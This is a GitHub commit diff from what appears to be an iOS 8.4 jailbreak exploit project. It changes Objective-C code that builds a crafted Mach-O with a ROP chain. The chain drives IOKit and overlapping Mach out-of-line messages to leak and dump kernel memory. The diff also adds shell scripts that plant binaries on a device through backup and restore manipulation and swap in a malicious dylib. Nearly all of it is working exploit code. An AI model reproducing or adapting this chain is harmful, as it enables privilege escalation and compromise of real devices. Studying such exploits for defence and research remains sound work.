Skip to content

Commit 924a5b5

Browse files
qwertyoruiopqwertyoruiop
qwertyoruiop
authored and
qwertyoruiop
committedOct 2, 2015
1
1 parent 17b92e4 commit 924a5b5

14 files changed

+54
-67
lines changed
 

‎.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,5 @@
1+
dyld.thin
2+
tmp/**
3+
main
14
.DS_Store
25
magic.dylib

‎bin/fetchsymbols

15.8 KB
Binary file not shown.

‎bin/jtool

908 KB
Binary file not shown.

‎bin/patcharch

-8.42 KB
Binary file not shown.

‎data/DeveloperDiskImage.dmg

-1
This file was deleted.

‎data/DeveloperDiskImage.dmg.signature

-1
This file was deleted.

‎data/dyldmagic/IOKit

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
../../tmp/cache.IOKit

‎data/dyldmagic/dyld

-217 KB
Binary file not shown.

‎data/dyldmagic/dyld

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
../../tmp/dyld

‎data/dyldmagic/libsystem_kernel.dylib

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
../../tmp/cache.libsystem_kernel.dylib

‎data/dyldmagic/main

-248 KB
Binary file not shown.

‎data/dyldmagic/main.m

+28-59
Original file line numberDiff line numberDiff line change
@@ -402,22 +402,24 @@ int main(int argc, const char * argv[]) {
402402

403403
/* write mach header */
404404

405-
struct mach_header mh;
406-
mh.magic = MH_MAGIC;
407-
mh.filetype = MH_EXECUTE; // must be MH_EXECUTE non-PIE (bug 1)
408-
mh.flags = 0; // must be MH_EXECUTE non-PIE (bug 1)
409-
mh.cputype = CPU_TYPE_ARM;
410-
mh.cpusubtype = CPU_SUBTYPE_ARM_V7S;
411-
mh.ncmds=0;
412-
mh.sizeofcmds=0;
413405

414406
xnuexp_mach_o * dy = [xnuexp_mach_o withContentsOfFile:dyld_path];
415407
// assert(dy.hdr->cpusubtype == mh.cpusubtype && dy.hdr->cputype == mh.cputype);
416408
if (!dy) {
417409
xnuexp_fat_mach_o * fat_dy = [xnuexp_fat_mach_o withContentsOfFile:dyld_path];
418-
dy = [fat_dy getArchitectureByFirstMagicMatch:mh.magic];
410+
dy = [fat_dy getArchitectureByFirstMagicMatch:MH_MAGIC];
419411
assert(fat_dy && dy);
420412
}
413+
414+
struct mach_header mh;
415+
mh.magic = dy.hdr->magic;
416+
mh.filetype = MH_EXECUTE; // must be MH_EXECUTE non-PIE (bug 1)
417+
mh.flags = 0; // must be MH_EXECUTE non-PIE (bug 1)
418+
mh.cputype = dy.hdr->cputype;
419+
mh.cpusubtype = dy.hdr->cpusubtype;
420+
mh.ncmds=0;
421+
mh.sizeofcmds=0;
422+
421423
/* required on iOS */
422424

423425
struct dyld_info_command dyld_ic;
@@ -507,20 +509,20 @@ int main(int argc, const char * argv[]) {
507509

508510
load_cmd_seg.vmaddr = 0x51000000;
509511
load_cmd_seg.fileoff = fsz;
510-
load_cmd_seg.filesize = 0x300000;
511-
load_cmd_seg.vmsize = 0x300000;
512+
load_cmd_seg.filesize = 0x500000;
513+
load_cmd_seg.vmsize = 0x500000;
512514
strcpy(&load_cmd_seg.segname[0], "__ROPCHAIN");
513515
memcpy(buf + mh.sizeofcmds + sizeof(mh), &load_cmd_seg, load_cmd_seg.cmdsize);
514516
mh.sizeofcmds += load_cmd_seg.cmdsize;
515517
mh.ncmds++;
516518
uint32_t *stack = (uint32*)(buf + fsz + 0x4000);
517-
uint32_t *stackz = (uint32*)(buf + fsz + 0x200000 + 0x4000);
518-
uint32_t *stacky = (uint32*)(buf + fsz + 0x100000 + 0x4000);
519+
uint32_t *stackz = (uint32*)(buf + fsz + 0x100000 + 0x4000);
520+
uint32_t *stacky = (uint32*)(buf + fsz + 0x90000 + 0x4000);
519521

520522
uint32_t *stackbase = stack;
521523
uint32_t segstackbase = load_cmd_seg.vmaddr + 0x4000;
522-
uint32_t segstackzbase = load_cmd_seg.vmaddr + 0x200000 + 0x4000;
523-
uint32_t segstackybase = load_cmd_seg.vmaddr + 0x100000 + 0x4000;
524+
uint32_t segstackzbase = load_cmd_seg.vmaddr + 0x100000 + 0x4000;
525+
uint32_t segstackybase = load_cmd_seg.vmaddr + 0x90000 + 0x4000;
524526

525527

526528
DeclGadget(mov_sp_r4_pop_r4r7pc, (&(char[]){0xa5,0x46,0x90,0xbd}), 4);
@@ -1020,12 +1022,12 @@ int main(int argc, const char * argv[]) {
10201022

10211023
argss->waitTime.tv_sec = 10;
10221024
argss->waitTime.tv_nsec = 10000000;
1023-
argss->_io_service_get_matching_service = 0x293b491;
1024-
argss->_io_connect_method_scalarI_structureI = 0x2938038 + 1;
1025-
argss->_IOServiceOpen = 0x28fe4e0 + 1;
1026-
argss->_IOServiceClose = 0x28fe524 + 1;
1027-
argss->_IOServiceWaitQuiet = 0x28fe424 + 1;
1028-
argss->_host_get_io_master = 0x1095da11;
1025+
argss->_io_service_get_matching_service = IOKIT_io_service_get_matching_service - DYCACHE_BASE + 1;
1026+
argss->_io_connect_method_scalarI_structureI = IOKIT_io_connect_method_scalarI_structureI - DYCACHE_BASE + 1;
1027+
argss->_IOServiceOpen = IOKIT_IOServiceOpen - DYCACHE_BASE + 1;
1028+
argss->_IOServiceClose = IOKIT_IOServiceClose - DYCACHE_BASE + 1;
1029+
argss->_IOServiceWaitQuiet = IOKIT_IOServiceWaitQuiet - DYCACHE_BASE + 1;
1030+
argss->_host_get_io_master = LS_K_host_get_io_master - DYCACHE_BASE + 1;
10291031
argss->oolmsg_template.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
10301032
argss->oolmsg_template.header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
10311033
argss->oolmsg_template.header.msgh_local_port = MACH_PORT_NULL;
@@ -1055,7 +1057,6 @@ int main(int argc, const char * argv[]) {
10551057
strcpy(argss->msga, "found overlapping object\n");
10561058
strcpy(argss->msgb, "found overlapped object\n");
10571059
strcpy(argss->testmsg, "ret: %08x\n");
1058-
// strcpy(argss->b, "/var/mobile/Media/dy_cache");
10591060

10601061
RopFixupLR(PUSH);
10611062
RopCallFunction2(PUSH, @"___syscall", 294, SEG_VAR(cache_slide));
@@ -1064,34 +1065,10 @@ int main(int argc, const char * argv[]) {
10641065
RopNopSlide(PUSH);
10651066
StoreR0(PUSH, SEG_VAR(fd1));
10661067

1067-
RopCallFunction3(PUSH, @"_open", SEG_VAR(b), O_RDWR|O_CREAT, 0666);
1068+
RopCallFunction3(PUSH, @"_open", SEG_VAR(b), O_RDWR|O_CREAT|O_TRUNC, 0666);
10681069
RopNopSlide(PUSH);
10691070
StoreR0(PUSH, SEG_VAR(fd2));
1070-
1071-
/*
1072-
RopCallFunction3(PUSH, @"_open", SEG_VAR(b), O_RDWR|O_CREAT, 0666);
1073-
RopNopSlide(PUSH);
1074-
StoreR0(PUSH, SEG_VAR(fd2));
1075-
1076-
RopCallFunction9Deref2(PUSH, @"_write", 0, SEG_VAR(fd2), 1, SEG_VAR(cache_slide), 0, 0, 0x15d30000, 0,0, 0, 0 ,0, 0);
1077-
RopNopSlide(PUSH);
1078-
StoreR0(PUSH, SEG_VAR(copyaddr));
1079-
[dy setSlide:dy.slide+1]; // enter thumb
1080-
1081-
RopCallFunction9Deref2(PUSH, @"_fprintf", 2, SEG_VAR(fd1), 3, SEG_VAR(fd2), 0, SEG_VAR(initmsg), 0, 0, 0, 0, 0, 0, 0);
1082-
1083-
// RopCallFunction9Deref2(PUSH, @"__platform_memmove", 0, SEG_VAR(copyaddr), 1, SEG_VAR(readaddr), 0, 0, 0x10a48000, 0, 0, 0, 0, 0, 0);
1084-
[dy setSlide:dy.slide-1]; // exit thumb
1085-
RopCallFunction2(PUSH, @"___syscall", SYS_exit, 0);
1086-
*/
1087-
1088-
RopAddWriteDeref(PUSH, SEG_VAR(_IOServiceOpen), SEG_VAR(cache_slide));
1089-
RopAddWriteDeref(PUSH, SEG_VAR(_IOServiceWaitQuiet), SEG_VAR(cache_slide));
1090-
RopAddWriteDeref(PUSH, SEG_VAR(_IOServiceClose), SEG_VAR(cache_slide));
1091-
RopAddWriteDeref(PUSH, SEG_VAR(_io_connect_method_scalarI_structureI), SEG_VAR(cache_slide));
1092-
RopAddWriteDeref(PUSH, SEG_VAR(_io_service_get_matching_service), SEG_VAR(cache_slide));
1093-
RopAddWriteDeref(PUSH, SEG_VAR(_host_get_io_master), SEG_VAR(cache_slide));
1094-
1071+
10951072
RopCallFunction0(PUSH, @"_task_self_trap");
10961073
StoreR0(PUSH, SEG_VAR(mach_task_self));
10971074

@@ -1489,13 +1466,7 @@ int main(int argc, const char * argv[]) {
14891466
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceClose), 0, SEG_VAR(gasgauge_), 1, SEG_VAR(zero), 0, 0, 0, 0, 0, 0, 0, 0, 0,0);
14901467
argss->waitTime.tv_sec = 1;
14911468
argss->waitTime.tv_nsec = 1000000;
1492-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1493-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1494-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1495-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1496-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1497-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1498-
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(gasgauge_), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
1469+
RopCallDerefFunctionPointer10Deref2(PUSH, SEG_VAR(_IOServiceWaitQuiet), 0, SEG_VAR(svc), 5, SEG_VAR(zero), 0, SEG_VAR(waitTime), 0, 0, 0, 0, 0, 0, 0,0);
14991470
[dy setSlide:dy.slide-1]; // exit thumb
15001471
SendMsg(PUSH, overlapped_port, oolmsg_template_512);
15011472

@@ -1564,9 +1535,7 @@ int main(int argc, const char * argv[]) {
15641535
RopCallFunction9Deref2(PUSH, @"__simple_dprintf", 0, SEG_VAR(fd1), 2, SEG_VAR(kern_text_base),0,SEG_VAR(testmsg),0,0,0,0,0,0,0);
15651536
[dy setSlide:dy.slide-1]; // exit thumb
15661537

1567-
char* kern_dump = (char*)0x54000000;
1568-
1569-
for (int i = 0; i < 0x70; i++) {
1538+
for (int i = 0; i < 0x60; i++) {
15701539
ReadWriteOverlap();
15711540
tmptoscratch();
15721541
LoadIntoR0(PUSH, SEG_VAR(kern_text_base));
@@ -1636,7 +1605,7 @@ int main(int argc, const char * argv[]) {
16361605
load_cmd_seg.vmaddr = 0x54000000;
16371606
load_cmd_seg.fileoff = fsz;
16381607
load_cmd_seg.filesize = 0;
1639-
load_cmd_seg.vmsize = 0x10000000;
1608+
load_cmd_seg.vmsize = 0x600000;
16401609
strcpy(&load_cmd_seg.segname[0], "__KERNDUMP");
16411610
memcpy(buf + mh.sizeofcmds + sizeof(mh), &load_cmd_seg, load_cmd_seg.cmdsize);
16421611
mh.sizeofcmds += load_cmd_seg.cmdsize;

‎data/dyldmagic/test.m

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#include <Foundation/Foundation.h>
2+
#include "libxnuexp.h"

‎mount_ddi.sh

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#!/bin/sh
2+
ddi="$(find /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/|grep 8.4|grep .dmg'$'|head -1)"
3+
echo "Mounting DDI..."
4+
./bin/ideviceimagemounter "$ddi" >/dev/null || echo "Couldn't mount DDI. Not an issue if Xcode's running, an issue if it isn't."

‎stage0.sh

+15-6
Original file line numberDiff line numberDiff line change
@@ -20,18 +20,18 @@ mkdir tmp
2020

2121
./stage1.sh || exit
2222

23-
echo "Backing up..." >&2
23+
echo "Backing up, could take several minutes..." >&2
2424
./bin/idevicebackup2 backup tmp || abort
2525
udid="$(ls tmp | head -1)"
2626

2727
mkdir tmp_ddi
28-
hdiutil attach -quiet -nobrowse -mountpoint tmp_ddi data/DeveloperDiskImage.dmg
28+
ddi="$(find /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/|grep 8.4|grep .dmg'$'|head -1)"
29+
hdiutil attach -nobrowse -mountpoint tmp_ddi "$ddi"
2930
cp tmp_ddi/Applications/MobileReplayer.app/MobileReplayer tmp/MobileReplayer
3031
cp tmp_ddi/Applications/MobileReplayer.app/Info.plist tmp/MobileReplayerInfo.plist
3132
hdiutil detach tmp_ddi
3233
rm -rf tmp_ddi
3334

34-
#./bin/patcharch
3535
lipo tmp/MobileReplayer -thin armv7s -output ./tmp/MobileReplayer
3636
./bin/mbdbtool tmp $udid CameraRollDomain rm Media/PhotoData/KimJongCracks/a/a/MobileReplayer
3737
./bin/mbdbtool tmp $udid CameraRollDomain put ./tmp/MobileReplayer Media/PhotoData/KimJongCracks/a/a/MobileReplayer || abort
@@ -44,7 +44,16 @@ echo "Restoring backup..."
4444
sleep 20
4545
./wait_for_device.sh
4646
echo
47+
./mount_ddi.sh
48+
./bin/fetchsymbols -f "$(./bin/fetchsymbols -l 2>&1 | (grep armv7 || abort ) | tr ':' '\n'|tr -d ' '|head -1)" tmp/cache
49+
./bin/fetchsymbols -f "$(./bin/fetchsymbols -l 2>&1 | (grep dyld$ || abort ) | tr ':' '\n'|tr -d ' '|head -1)" tmp/dyld.fat
50+
cd tmp
51+
lipo dyld.fat -thin "$(lipo -info dyld.fat | tr ' ' '\n' | grep v7)" -output dyld
52+
../bin/jtool -e IOKit cache
53+
../bin/jtool -e libsystem_kernel.dylib cache
54+
cd ..
55+
cd data/dyldmagic
56+
./make.sh
57+
cd ../..
4758
./bin/afcclient put ./data/dyldmagic/magic.dylib PhotoData/KimJongCracks/Library/PrivateFrameworks/GPUToolsCore.framework/GPUToolsCore
48-
echo "Mounting DDI..."
49-
./bin/ideviceimagemounter ./data/DeveloperDiskImage.dmg >/dev/null || echo "Couldn't mount DDI. Not an issue if Xcode's running, an issue if it isn't."
50-
59+
echo "Tap on the jailreak icon to crash the kernel (or dump it if you're in luck!)"

0 commit comments

Comments
 (0)
Please sign in to comment.